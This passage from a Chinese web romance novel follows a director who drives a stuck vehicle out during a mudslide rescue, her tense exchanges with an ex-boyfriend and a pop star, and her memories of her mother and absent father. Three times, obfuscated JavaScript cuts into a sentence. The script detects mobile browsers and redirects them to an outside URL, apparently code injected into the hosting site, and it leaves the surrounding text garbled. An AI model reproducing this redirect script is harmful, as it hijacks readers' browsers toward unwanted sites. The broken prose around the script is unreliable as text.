白村长凑过来,“穗儿,你怎么来了?这你上不去哇。” 人群吵吵囔囔,一个人从后排挤到车前,抓着村长进来,他大力地拍了拍引擎盖,吸引贺穗的注意。 贺春生嘴里叼着没点燃的烟,气冲冲地走过来。 “你来干什么?!” “我来拉车。” “不行!回去!” “我可以。” “可以个屁,回去回去,这么多男娃娃,不用你打头阵!” 围着的人群熙熙攘攘,他们统一穿着黑色的长雨披,通通皱着的眉头,淋着雨扒着前面人的肩膀探出头看向贺穗。 他们的头灯光路交错,聚集在贺穗脸上。 人们叽叽喳喳地交谈起来,比雨声还吵。 贺穗猛地打下喇叭,周遭震起,终于安静下来。 “在场的没有人比我更有驾驶经验!再拖下去救还是不救了?!” 白村长接上她的话,挥挥手说道:“是是是,大家安静,穗儿开车技术好得很,村里的路也熟悉,一定可以的!” 白村长回身抓着窗户面向贺穗,笑了笑说道:“穗儿,注意安全!” 说着他扔进来一个头盔,转身拽着贺春生走了。 贺穗把车开到山下等着,山路被泥土糊住,石块也把山路砸得坑坑洼洼,往日的水泥道路只能依稀看到一点。 她顺着车灯,看见泥土中露出的一小片水泥路。 这是她母亲捐了半身家和当地政府一起修成的。 本来到村里来就是为了拍照和看看母亲的,乱七八糟的事情围上,让她一直抽不出时间。 看见路,她想起在小时候贺春筝拉着她爬上山峰俯瞰整个村落。 “小穗,我以后要在这里修条路!” 贺春筝张开双手,承接着山顶的风,只有还是孩子的贺穗在身后被高空吓得瑟瑟发抖。 母亲真的做到了。 贺穗在车里想起母亲又笑了起来,发着呆看向眼前只有车灯打亮的一小片泥土地。 她自言自语道:“时间过得有多快,我都比那时的你岁数大了。” 她抬头向后仰去才想起自己带了安全帽,想着还得等一会儿,索性先摘了。 一把扔到副驾,才躺倒在靠背上发呆。 车窗被敲响,安时年眉眼带着笑,等车窗放下来。 贺穗顿了两秒,还是按下了车窗键,窗户缓缓放下,安时年过来时伴着一股凉意,她才发觉车里有多闷困。 “怎么了?你来拦我?” “不是。” 他笑着摇了摇头,话音刚落,他的手就抬了起来,缓缓探进车窗,姿态自然得仿佛是再平常不过的事情。 贺穗做不到自然,她本能地向后退,皱眉头皱着看向安时年。 “嗯?” 安时年没有说话,浅笑地轻挑眉毛,探进来的手还伸着,就是一动不动。 贺穗疑惑地歪着脑袋,试探地向前半寸。 安时年看了她的动作,才敢于向前,手伸向她的耳边,整理她的碎发到耳后,下一瞬间,是一丝沾了水的凉意触碰到她的耳朵。 贺穗不敢乱动,甚至不敢呼吸,她看着眼前缓缓靠近的安时年,他耳边浅蓝色水滴状吊坠的耳饰清晰可见,随着他的动作而晃动。 只能感受到耳边被他别上了什么东西。 安时年放好后就退了出去,歪着头趴在窗户上,他的笑意一点没变。 “鼓励你,送个花。” 贺穗看着他笑的样子愣住,手指无意识地点着耳边的花。 安时年:“紧张吗?” “嗯?” “我说你要上去,紧张吗?” 贺穗转头轻笑,把耳边的花取下看也不看地猛扔回去。 “神经。” 安时年也不恼,接住贺穗扔来的花笑嘻嘻地别到自己耳朵上,身上穿着村长给的黑色雨衣,双手撑在车窗前。 “我刚和方慈去搬设备去了,你就放心去,我们一定做好保障工作。” “你?”贺穗歪歪头,显然对安时年也能帮上忙表示怀疑,“你要在旁边唱加油歌吗?” “我好歹也是大男人,身体素质很不错的好吧?” 安时年后退两步展示自己的肱二头肌。 贺穗耸耸肩,“也不知道谁坐个车又吐又晕的。” “那是特殊情况。” 贺穗笑着摇了摇头,说:“这个车拉出来后,还得三两天路才能通,就劳烦安大明星小住几日,再磨合一下曲子。” “也行,正好我把学校那个琴的音调一下,弹着试试看,以后孩子们也能弹,”安时年点了点头,又问道:“话说你想好了吗?曲子的情绪。” 贺穗眯着眼睛思量了一会儿。 “就是温柔又不失力量,你这版前十秒可以留下,后面的改改,话说你哪里来得那么大的气来发泄,又不是让你写《长叫》,好吗?” “好好好。” 安时年边应答边笑着,红着耳朵低下头。 他能感觉到贺穗的状态比早上好多了,两人之间的鸿沟也在一言一语里肉眼可见的变窄。 他笑得没头没脑,贺穗歪着脑袋困惑。 “笑什么?” “没什么,你放心吧,”安时年把一个安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372332|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帽扣在她的脑袋上,“我是专业的。” 方慈安排好救援和医疗的设备,走了过来。 “贺穗,这是对讲机,山下的设备都准备好了,你可以吗?” 他有意无意地挤开安时年,站到贺穗的车窗前。 “帽子要戴好。” 贺穗还没反应过来,方慈就已经伸出手帮她调整安全帽的大小。 他的手从她耳边穿过,擦过她的下巴,扣好后点了点头盔,小声问道:“真的没有逞强?” “没有,”贺穗转身去系安全带,“还有……我自己会系,我们保持刚才的距离就好。” 贺穗说话看着是笑着的,实际没什么情绪,听起来像是冷冷的。 方慈也明白,两人是分了手的关系,这么多年没有联系连朋友都算不上,他的试探被贺穗一口回绝,还立了个大大的隔板挡住了他。 他微微直起身,“好,等这事情结束,一起吃顿饭吧,也好久没见了。” 安时年站在一旁,从刚才就感觉到方慈若有似无的排挤。 虽然和方慈不熟,但这人太好懂了。 贺穗刚说完话,他脸上就写着“失望”两个字。 看着贺穗重新调整着自己的帽子。 安时年凑上前,一手搭在车窗上,开口道:“冒昧问一下,你们……” 吵架了吗? 什么关系? 安时年欲言又止,实际是嘴快但还没想好怎么问,可两人的注意已经被吸引过来,定睛看着他。 他硬着头皮开口:“你们关系不好吗?” …… 方慈:“挺好的啊。” 贺穗:“前男女朋友。” “什——” 还没反应过来,贺穗把副驾驶上白村长给的安全帽扔出来,精准砸向安时年。 他抱住安全帽猛地后退,惊讶道:“怎么还有一个?!” 才说完,贺穗发动车子走了。 安时年看看走远的车,踩踩地上的碎石子。 转过身,方慈脸上除了“失望”,全是“难过”几个字。 安时年双手插着兜看向他,上下打量一番。 个子差不多高,身材倒是比我壮不少,脸浓眉大眼的也很帅,这一身救援服都快穿出时尚味道了。 方慈抬起头,个子高,可脸上摆出一副委屈样:“你说你问什么不好,问关系?” “我只是问你们现在的关系,这你可赖不着我。” 方慈插着腰,无奈道:“你不问谁会说?” 一个披着大黑雨披,一个穿着合身的亮色救援服,安时年现在站方慈面前是样样都算不上养眼。 方慈还两句话就给他扣上帽子,先装上委屈。 “笑死了,好像她不说,你们的关系就改变了,前!前!大哥,听明白了吗?不是现男女朋友!” 安时年摆摆手“切”了一声。 “你这么大声干什么?就算是前男女朋友,也有谈了几年的感情基础,你有什么?大明星身份?我告诉你,贺穗从来不看这些。” “你——” 远处的光打到他们身上,喇叭随之响起。 贺穗打开窗户,喊道:“方慈!闭嘴!” 闻言,安时年宽大的黑色雨衣张开,向着方慈左右摇摆。 “说你呢。”他再贼兮兮地不贺穗的话重复一遍。 “安时年!你也一样!” 轮到方慈,张开双手,左右摇摆地重复。 两人互不搭理,更不理会贺穗。 转了头,各走一边。 11. 救灾 安时年走回去,正好遇上贺春生和白村长争执,两人吵得不可开交。 周围人都不敢靠近他们,远远忙着自己手里的事。 “那是她的舅舅。”方慈的声音从身侧传来。 安时年愣了一下,顺着他的目光看向两人,“白村长是贺穗的舅舅?” “不是,另一个,”方慈摇了摇头,“穿黑雨衣的那个,贺春生是贺穗的舅舅。” 安时年反应过来,贺春生是贺全涛的父亲,这么算下来,贺穗和贺全涛是表姐弟,怪不得两人亲近些,原来还有这层亲戚关系。 村长两人的争执还在继续,贺春生的情绪越来越激动,紧紧攥着白村长的胳膊。 安时年见状,先上去拉开他的手,安抚道:“贺叔叔,您冷静一下。” “冷静个屁!” 他猛地向前冲去,正好让安时年拦腰抱住,另一边的白村长则是被方慈拉住。 贺春生扒着安时年的手臂,喊道:“白老头,我姐可就剩这一个丫头,她出个什么事,我第一个饶不了你!我咒你家祖宗十八辈儿!” 白村长苦劝道:“小穗是有经验的,她也不是小孩子了,你该放心她,也是帮村子的大好事嘛。” 贺春生听了话更激动,差点让安时年拦不住,“放你屁的心,别在这儿扣大帽子,大好的事情,你怎么不让你家儿子干?!” 他摔了帽子,吐了烟,掰着安时年的胳膊往前挤,“你放开我!” “冷静冷静,贺叔叔。” 贺春生正在气头,劈头盖脸一顿骂,连安时年都不能幸免。 “我知道您着急,可是贺穗已经上去了。” “什么?!” 贺春生顺着安时年指着的方向看去,贺穗的车刚好走到半山腰,在她后面跟着的是大大小小的摩托。 山体被这一排排的灯光打得透亮。 在他们的上空,一小块的红光闪烁,随着起飞。 安时年定睛看着空中飞动的小点,越来越近。 越来越具象。 直到悬飞转动的叶片声越来越响。 安时年才看明白那是航拍的无人机,躲也无用,毕竟镜头直直对着他已经拍了好一会儿。 “白老头,等她下来我再找你算账。” 贺春生指了指白村长,恶狠狠地把话说完才走。 安时年定睛看着贺穗的车一步步往前挪,前明村的热度太高,如果不尽快解决灾情,会在网上发酵到一种不可控制的地步。 “你问了吗?” 安时年转头问向方慈。 他想确认贺穗的状态、位置,像这样远远观察的不可控,也让他把心提起来。 作为一个勉强连志愿者都算不上的人,连直接用对讲机过问的权力都没有。 方慈和山外的通完电话,匆匆拿起对讲机向贺穗发问。 “怎么样,怎么样,一切顺利吗?” 两人盯着一声不吭的对讲机。 良久。 才传来贺穗的声音。 “顺利。” 她的声音这次夹杂着对讲机粗糙的电流声,仍听得出她的冷静。 安时年第一次期待她的声音,聚精会神地听一个人的音色。 贺穗说话没有口音,干净,沉稳,还不说多余的话。 一如既往胜券在握的沉稳。 安时年轻轻舒口气,眉头也不像刚才那样紧张。 方慈:“你不用担心,山外的救援队在后面做助推,你和里面的车接上之后,发车的时候说一声,前后一起用力会好些,不要紧张,做做深呼吸,手出汗了就擦擦,别害怕,我就在下面看着呢,会给你加油助威的。” 方慈正事说完洋洋洒洒又说了一堆,他什么心思简直跟明镜一样。 连安时年都看得出来。 …… 这次对讲机安静的时间比刚才长多了。 安时年和方慈之间简直像是一阵冷风吹过,野草卷着飞。 对讲机吱吱呀呀,一段乱码电流里飞出来三个字。 “知道了。” “噗——” 安时年一时没忍住,偷笑一声,在方慈看过来的瞬间又抿上了嘴。 不注意看了方慈几眼,安时年还是没忍住大笑起来。 在他的笑声里方慈泄了气,弓着身子翻了个大大的白眼。 安时年收了笑劲儿,肩膀撞过来,“看来有感情基础也没什么用嘛。” 方慈低眉顺气地看着手里的对讲机。 树一般大的人拱起眉头,摆出一副委屈像,明明安时年才是岁数小的,每次在方慈面前说起贺穗,倒是方慈先扮上弟弟了。 “你别整这套,”安时年好像被吓住,稍稍往后退了半步,“小女孩哭我都哄不来,更别说大男人。” 周围的人都看着山腰的灯光照亮整个山间,树叶摇动,悉悉索索的声响逐步加重。 方慈手插着腰,叹了一声道:“我错过了她的时间,错过了她这六年经历的一切,不是她变了,是该我重新认识她,怪我。” 他抬眼看过来,硬朗的脸上眉毛一边上一边下,看着像是全无办法的叹息。 方慈惆怅,纠结,六年前为了学业舍弃的那份爱情,以为释然,却在出现回国机会的时候,再一次想起她。 重逢时,过往的回忆在脑海中出现的那刻,他就明白,那份情谊他从没有放下。 安时年问道:“你们分手六年了,在她获奖前?” “不是,获奖后,初冬吧,正好赶上那年第一场雪。” 冬天? 岂不是那一年她获了奖,母亲过世,还分了手,也就几个月的时间,不知道她怎么熬过来的。 安时年不可置信地看看山头一成不变的灯光,又看看身边这大高个。 有没有人陪陪她呢? 他想了想。 “为什么分手?贺穗提的?” 方慈一时没有回答,等他低下了头,才开口道:“我提的。” 安时年难料到地轻笑一声,“你可真行。” “当时年轻,既然有国外深造的机会,肯定要去,两人的发展规划不能相交就走散了。” “那你怎么回来了,因为工作?” “当然不是,是因——” “因为你放不下她,你还爱她,对吗?” 安时年接上他的话茬,脱口而出一些老套台词。 词老套意思还是一样的,方慈没什么辩解地,老老实实说:“对。” “那你早六年干什么去了,就算留学,是不能假期回来,还是她不能去?谈了那么久,你说分就分了,现在倒是知道回来谈喜欢。” 有点情谊都不至于分的这样彻底,就算现在漂亮话说全了,都听得出曾经的方慈做了不回国的打算。 现在方慈的不语。 在印证那几分漂亮话的真假。 前途与爱人之间做取舍,安时年也能理解,毕竟不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372333|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一个人都有后路可走,可把前途改道的大事说成是爱人的原由,他不理解。 爱说得比做得重,那就是一条埋在地下的导火索。 更不要说已经分手这么多年,两情相悦走成了方慈的单相思。 再想要回到过去,鸿沟就算合上了也会有裂纹。 “方慈。” 贺穗的声音又一次出现在对讲机里。 “我在。” 方慈第一时间回应。 安时年看看山间,听着身后对讲机里贺穗对方慈说起的情况。 想来是刚才贺春生骂得太深入人心。 他低声在自己也说不清的腔调里喃喃一句。 “在个屁。” 方慈联系着山外的人员与贺穗. 他叮嘱道:“等他们把带子绑好后,你把方向往右边的斜坡打,记住,只要小货车的驾驶座出来就行。” “好。” “注意安全。” 从下往上看去,看得见摩托上的师傅在帮车系带子,也看得见贺穗的白车稳稳地停在山间。 安时年在山下等着,虽说相信贺穗尽在掌握,看这么高的山还是有些不安。 远处的无人机在环着山飞。 “那是哪个媒体的无人机?” 安时年指了指,问向方慈。 “官媒的,在做救援直播。” 直播? 安时年来了兴趣,猛冲过来,“现在能看到吗?” “可以啊,信号刚修好。” 安时年看了看他,伸手道:“手机借我下。” “你的呢?” “早没电关机了。” 方慈不情不愿地点开直播,递过去。 前明村的救援直播在线人数超过十万人,无人机的视角直拍着贺穗的车,看到她下了车和后面的摩托师傅一起绑带子。 她一顶亮白色的头盔在整个人群里穿梭,十分显眼。 “你回车上去,别乱跑。” 方慈从对讲机里说着。 安时年拿着手机把贺穗的动态看得清清楚楚,她拿起对讲机后左右看了看,在找究竟从哪里看见的。 “我得下车看看情况。” 她才说完,猛地回头看向无人机,用手指了指。 安时年抿嘴笑着,“她肯定发现我们了。” “你们两个能不能干点正事。” 果不其然,贺穗一说就说两个人。 “你看,我说对了。” 安时年指着对讲机笑道。 “这边都安排好了,你们准备一下。” 画面里贺穗上了车,直播的画面也换了一角,拍向山外镇子,人山人海,灯火通明。 都在为这片被迫成为世外桃源的村子努力着。 网上讨论量持续升高,安时年顺手搜了搜词条。 白天发的视频还是一样褒贬不一。 很多粉丝截屏了直播的帖子,是安时年发现无人机时正好被拍了下来。 【我去,他去现场了?】 【他就在那里,怎么着都在场吧……】 【这地方偏得都没人拍,只能从官媒上找他了】 【什么时候能通路啊!!送救援物资也进不去!】 安时年拿着方慈的手机,打了俩字:快了。 回递给方慈。 夜里的小雨早就停下,他抬头和方慈一起看着山间贺穗的车灯。 缓缓地动了起来。 12. 拼图 贺穗这边的进程异常顺利,只是车停到斜坡上,不能再后退,她只能等着摩托下山。 从车上下来她远远瞥了一眼贺长舍的方向,没等看清什么,跟上去的救援人员已经用一张白布,匆匆将他盖了起来。 跟着贺穗上山的都是村里人,多少都知道贺长舍是谁。 家在前明村入村小道五十米拐角处的右手边,家里有老父亲,媳妇,一个岁数不大的女儿,还有去年刚上大学的弟弟。 就是知道才会无限拉大人的情绪。 人们沉寂在风里,有人放声大哭也有人默默流泪。 贺穗吸了吸鼻子,裹紧外衣。 “走走,把人抬上!” 贺春生的声音传来,他穿着长长的雨衣,裤子挽到小腿上,脚下踩着乱七八糟的泥。 他叫了几个年轻人,跟着他们一人一角地抬起担架,沉默地向山下走去。 在这群人他里算年长了,还是弓着腰吃力地抬起担架,在前面指路。 贺穗被风吹得脸冰冰凉凉,把帽子带上跟了上去。 “丫头!” 身后人喊着叫住贺穗,是骑着摩托下山的人,有些带着医护人员,有些捎着上来时会用上的东西。 叫住贺穗的是个中年人,面上沧桑眼睛倒是亮亮的,他嘴上要笑不笑,看了贺穗好久才开口。 “坐我的摩托吧,我带你下去。” 他把车停到贺穗身边,让出身后的位置。 路走得远,贺穗坐着摩托穿过人群,看着抬担架的已经换了几个年轻人,再扭头看去,才看见贺春生在人群的后面扶着腰,跟着走。 她母亲过世时,都是贺春生和她小姨贺春藏操办一切,那年回来除了田舒宁的一巴掌,她倒没有受到谁的指责。 她记得贺春生站在门外抽着烟,还是和原来一样冷冷的,没看她一眼。 白色的布盖在担架上,她不敢想象母亲过世前是什么样。 还有那场寂静的葬礼。 摩托车骑得晃晃悠悠,风也吹得很快,贺穗扭着头直到看不见抬担架的人群。 她抬手拨开颊边被风吹乱的碎发,另一只手紧紧扶着身前师傅的肩膀。 手的微微颤抖,连带胳膊都在发紧。 在她最不注意的时候,摩托的速度慢了下来。 到了山脚,她整理好自己的状态。 笑着向骑摩托的叔叔道谢。 他撑着车把手,笑着来了句,“我知道你妈,你和她年轻的时候很像。” 贺穗一时愣住,对眼前的中年人她一点印象都没有,更不要说认识。 “有很多人这样说,”她笑着打了圆场,“我还有事就先走了,您……” 那男人点了点头,一手插着兜靠着摩托,摆了摆手。 这个村认识母亲的人很多,和母亲交好的却没几个,贺穗不认识他,也并不想多认识谁,像这样萍水相逢最好,没必要问什么名字,打什么招呼。 山下路口没有打灯,大小的石子滚了一地,贺穗没走多远,后颈还能感受到摩托车远光灯的热度,像无形的线,拽着她放不慢的脚步。 “我叫陈前林。” 身后人多说句话,让贺穗浑身一僵,脚步下意识地慢了半拍,就是这瞬间的失神,脚底在圆石上打了滑,她整个人向前扑去。 重重磕在碎石堆里。 小臂擦破的痛一清二楚,贺穗晕得眼前发黑,只能强撑着站起。 小臂上的血沾着泥土,贺穗看了一眼胃里就一阵翻涌。 “没事吧?!”陈前林跑来搀扶住她。 贺穗猛地甩开他的手,身体不受控制地向后退,后背撞到路边树干才停下来,她慌乱地抬起头,额角不知道什么时候也破了,湿热的液体顺着她的眉骨滑下,沾湿了睫毛,视线瞬间被染成一片模糊的红。 血? 这个念头刚冒出来,强烈的恶心感再也压不住,贺穗眼前一黑,直直向后倒去。 “小穗!” 陈前林接住她,没敢碰她的伤口,直接打横抱起来,向不远处亮着应急灯的医护帐篷跑去。 要说陈前林这个名字贺穗在哪里见过,大概是她刚上初中时,不小心推翻了贺春筝的办公桌,在她角落放着的铁盒子里,留着发黄的一张照片。 贺春筝和照片里瘦瘦高高的男人很是亲近,在山边紧紧靠着彼此。 她幸福笑容的背面是那个男人的名字。 那天贺春筝如往常一样忙到深夜,沾了一身酒气回来。 那时的房间不大隔音还极差,她早就养成脚步放轻的习惯。 她小心翼翼地推开门,家里灯光大亮,贺穗还穿着校服抱着双手坐在餐桌旁。 “不睡觉等我呢?”贺春筝笑了笑换鞋。 “这是谁?” 贺穗把照片怼到贺春筝面前,挡住她整个脸,企图让她看得仔仔细细。 “什么谁?”贺春筝往后退了半步才看清她手里的照片,猛地拿过来,“臭丫头,从哪里翻出来的。” 她故作淡定,脱了外套围巾,说完直接走进客厅。 “他是你的恋人,对不对?” “什么恋人不恋人的,朋友知道不,小屁孩别打听这么多。” 贺春筝边走边说道。 “我不信!我不信!他是不是我爸?!”贺穗站在餐桌旁,几乎是对着贺春筝哭喊道,“你就告诉我,是不是!” 在那个不大且封闭的小城市,一男一女组成的传统家庭好像少了谁都会成为异类。 填家庭信息表永远空出的一行,他人问起来时永远扭捏想措辞的瞬间,她把谎话说全了也会在一些不经意的瞬间露馅。 异样的目光里多添出撒谎精的标签,在那些岁数不大的小团体里,想不特别的人最痛苦。 贺春筝身上的酒气未散,她拿着发黄的照片走到厨房,点燃炉灶。 “你干什么?!” 贺穗冲进去一把抱住贺春筝,眼睁睁看着贺春筝把照片点燃,烧成灰烬。 “你是我的女儿,没有爸爸。” “放屁!” 她恶狠狠地把话喊出来,迎面来得是贺春筝沾满酒气的巴掌。 “我供你吃,供你穿,供你上学,不是让你用这种话来和我说话,有爸很重要吗?一个从来没有管过你的陌生人,有什么好找的?” 贺穗终于坚持不住放声音大哭,“为什么不重要,为什么,我也想家里有人陪着我,等着我,在你快下班的时候一起去接你,一起去吃饭,凭什么他们都有?就我没有?还要一个人待着,我每天都在等你,每天,每天。 “到底为什么就我不一样?你每次说会陪我,每次都没有,你说你挣大钱,可到现在我们还挤在这里,你从来都没有实现过你说的……难道撒谎精生的孩子也会成撒谎精吗?可是我脑子里的爸爸就长这个样子,我照着这个说也,也不行吗?” 她理解母亲的辛苦,理解母亲为之奋斗的目的,再把一切理解背后积攒的委屈藏在心里。 到了心也承受不住的时刻,在贺春筝的一巴掌下夺眶而出。 年少的她把一切委屈的源头交给从未出现的父亲。 她要回归正常,与旁人没有区别,没有异样的正常。 只要一个父亲把这块拼图拼完整。 即便是假的也行。 儿时的泪水穿越时空,从躺在病床上贺穗的眼眶中缓缓滑落,看着蓝得发黑的天花板,周遭寂静地毫无生气。 她抹净脸上的泪,侧身掖了掖被角找了个舒服的姿势。 抬手摸到自己小臂和额头上的绷带,记不得自己是怎么来的诊所。 脸埋进枕头里,沉沉睡去。 再睁开眼是明晃晃的太阳,透过窗打亮她的周围。 睡得沉重的身子一动不动,她眯着眼听走廊来往的人的说话声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372334|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“来,最后一口,给你贺姐姐留点。” 她听见安时年在身后压着嗓子说话,随即传来的是喝东西的吸溜声。 贺穗转过身,看见安时年把牛仔裤挽到小腿,腰间绑着彩色的衬衫外套,露出贺穗公司的文化衫,短袖的衣服他挽起袖子当背心穿。 意外待在这里两天,真把安时年整成了村里的黄毛。 他坐在诊所红色的塑料板凳上,一手端着碗和勺子给站着还没他坐着高的脆脆喝汤。 脆脆喝完,怯生生地开口:“最后两口,行不行?” “好好好,最后两口。” 安时年点头如捣蒜,又将勺子递到她嘴边。 脆脆喝完,又伸出一根手指头,忙道:“一!” “刚明明是第二口。” “不算,这个算第一口!”脆脆挡住他,努努嘴抬头。 安时年拿她没办法,笑呵呵地再递上勺子。 贺穗坐起来看了很久,说:“什么东西这么好喝?” 安时年猛地抬头,手里喂完脆脆最后一口。 贺穗一觉直接睡到了下午,早上中午来看她的人来了几波,她是全然不知。 她还没下床,安时年就支起桌板,叮叮当当地保鲜盒放了满满一桌。 “除了你生病忌口的,我会做的都做了一份,你看看总有喜欢吃的吧。” 贺穗看着他一道道地打开,从简单的小青菜到熬好的粥,还有保温桶里的枸杞梨汤。 “你还会做饭?” 她实在没料到锦衣玉食的大明星还会下厨。 “当然了。”安时年皱着眉瞪大双眼,满脸写着对贺穗这个问题的疑惑。 “你以为我是什么都不会做的仙人吗?” 贺穗“噗呲”笑出了声,摆手说:“不是,我只是简单的问一下。” 还没等贺穗看完,脆脆就猛地跑过来,正好被安时年反手一把抱起。 “我就知道你不老实。” 脆脆趴在他的肩上,“我也吃!” “不许耍赖,明明刚从学校吃饱饭过来。” 贺穗被他俩逗笑,朝安时年摆了摆手。 “你把她放下来一起吃吧,你做这么多我一个人也吃不完。” 安时年怔愣半刻,顺手把脆脆放到贺穗的床上,与她面对面坐着。 脆脆一边等着安时年递筷子,一边笑呵呵地看着贺穗。 “姨姨,你终于好啦!我们今天来了好几次,你都没醒。” 贺穗舒了口气,脆脆跟着田舒宁叫的称谓总算改了过来,她都大孩子两轮,实在受不住被叫姐姐。 也不知道安时年提着饭来了几次。 “这次赶上啦,幸好我一睁眼脆脆就在,姨姨身体就好啦。” 贺穗耸着肩,向脆脆笑着,又看一眼在旁边装了饭盒袋子里找筷子的安时年。 他低着头没往这边看。 贺穗看了看他脚边的泥点,整个安时年身上除了一张白净的脸,其余没个好地儿。 他还带了个黑色铁质的发箍,把刘海全都别到头上,耳垂少了晃晃悠悠的耳坠,看着清爽,却让贺穗觉得不像他。 花里胡哨才好看。 安时年递过来他已经掰开的一次性筷子,又专门找了个小碗递给脆脆。 “我给你拿了洗漱用品,”他把塑料的红凳子拉过来,坐在病床边,“我是看客卫有一次性的,就带过来了。” “谢谢。” “都说了不用客气,”安时年笑眼盈盈地看向贺穗,“快尝尝好吃不。” “好吃!” 脆脆先夹了菜塞进嘴里,晃着身子回答。 “好吃多吃点,吃得胖胖的。” 安时年右手轻掐脆脆的脸颊,搞怪地皱眉说着,又抬眼看向贺穗。 窗外的光打进来,亮堂了一整间屋子。 贺穗点点头。 “挺好吃的。” 13. 狐狸 “这个梨汤也是你熬的?”贺穗喝了口梨汤问道。 “我把买的梨全送到学校,一块熬成汤,分发出去了,多是学校做饭的阿姨熬的,我就打了打下手。” 安时年脸上老挂着笑,边说边默不作声地把贺穗夹了几次的菜往前推。 “也好,不然我的冰箱真要放不下了。” 贺穗点点头,又给脆脆夹上菜。 家里人忙得看不了脆脆就送到学校里带着,听安时年要来看贺穗,她死缠烂打地要跟来,安时年放也放不下只能带着孩子来。 半大的孩子话都说不明白,就要理解天人永隔的滋味。 贺穗脸上的表情沉闷下来,只顾着喝粥。 “昨天的人呢?个子高高,身上没二两肉的男人。” 陈前林把人送过来的时候,吓了方慈和安时年一跳,刚听说一切顺利,人到眼前竟成了物理意义的头破血流。 “你被送到这个诊所后……” 脆脆吃了两口就不吃了,忙着要下床,安时年起身去给她找鞋子。 边穿边说道:“他被你舅舅……就是贺春生叔叔揍了一顿,我再出来找的时候他已经走了。” 安时年拍拍脆脆的头,抱到地上由她跑出去玩。 “你的伤不严重,主要是晕血,吃了饭会不会好点?” 贺穗边吃边点头,“舅舅?” 她从没和安时年解释过,但村里人多嘴杂,她又不能一一堵住,更挡不住安时年的耳朵听什么。 昨天从学校里出来,到现在。 安时年脱离她眼皮的每一个瞬间,都让她不安。 或者说他被这突如其来的泥石流圈住之后,才开始让她不安。 兔子不懒惰,狡猾至极。 逮捕者开始心慌,寻找这份不安的源头到底在哪里。 “昨天那人是我爸,但只有血缘关系。” 莫名其妙的不安,莫名其妙的解释。 贺穗喝粥的手停顿下来,看向只坐着一口不动饭菜的安时年。 他顺着贺穗的眼神抬眼。 眼里演着疑问,却又不得不开口。 “其实我昨夜才知道一些,你的事情,你母亲的一些事情,也许不完全,可能还有很多人的添油加醋,对于我们相识这么短时间的关系来说,的确是很不友好的越界。” 安时年像是带了透视眼,把贺穗心里想的通通倒了出来。 他又呲着大牙,拍拍胸脯保证道:“说实话,有这样的机会认识你,实属是我侥幸,但我很严谨,绝对不会乱说的。” 这个村子处处不是贺穗,却处处沾着贺穗的过去。 安时年接着话说道:“路快通了,我过两天就走。” 安时年好像明白一点贺穗作品里出现母亲的原因,但他还没有触碰到最底层,连贺穗都不知道的底层。 他要循循渐进,打开这个布满灰尘的大门。 他知道对他而言贺穗总归是特别的,对这份自己还没参透的心,他不敢下定论。 在一切未知的前提下,保持尊重是他能做的唯一事项。 像他说的,能了解贺穗,是他侥幸,侥幸被圈在处处是贺穗过去的前明村,可这份幸运缠着冒犯的布条,左右都得张嘴把话说明白。 眉眼抬起,他含笑看着贺穗无措的神情。 他又背过身去,闭眼道:“要是被我感动了,你就哭吧,我不看。” 这人简直是两面怪。 贺穗暗暗给他下定语。 不是兔子,是狐狸,比狐狸还狐狸的狐狸。 看着大大咧咧蠢得要命,实际认真起来说的每一句话都让我无从开口。 我刚有提这些事吗?只是说了句陈前林是我血缘上的父亲吧? 贺穗被他说得哑口无言,好久才说出一句话:“谁哭了?” 对方则是歪歪头凑到自己面前,“真的没哭?” “滚开,我要吃饭。” “好吧,那你相信我了?”安时年说。 贺穗闭着眼睛歪到另一边,安时年也跟着她一边倒。 “嗯?相信我吧,不然这两天我得睡大马路了。” 他的语气里“相信”与“原谅”无异,晃来晃去惹得贺穗脑袋嗡嗡地疼。 “知道了知道了。” 贺穗别过脑袋,把话回了接着吃饭。 半桌子的饭菜都在她身前。 “你不吃吗?” “我吃了午饭过来的,不饿,你等会儿吃完去换药吧,方兹说你今天就可以回去。” 他收拾吃完的小餐盒。 饭后洗漱完,姜孟雨的电话就打来了,从昨天断联到现在,她抱怨着总算是把电话打进来了。 鬼哭狼嚎一番,才把话说明白。 “大导演,给你打个电话真是急死我了,我看到新闻就开始联系你,你都不知道我昨天一天怎么过的,怎么样?没受伤吧?” “当然了,你不看看我是谁。” “少贫了,没受伤就行,整个工作室都在担心你。” “我没事,你替我向大家转告一下,我很快就能回去了。” 贺穗在床边打电话,手无意识地捏着床帘,看安时年收拾碗筷,整理床铺。 “好,”姜梦雨笑着补充:“话说安时年是去找你的吧?” 贺穗左右拉着床帘,知道姜孟雨打探的心思,故作镇定道:“对,因为工作。” 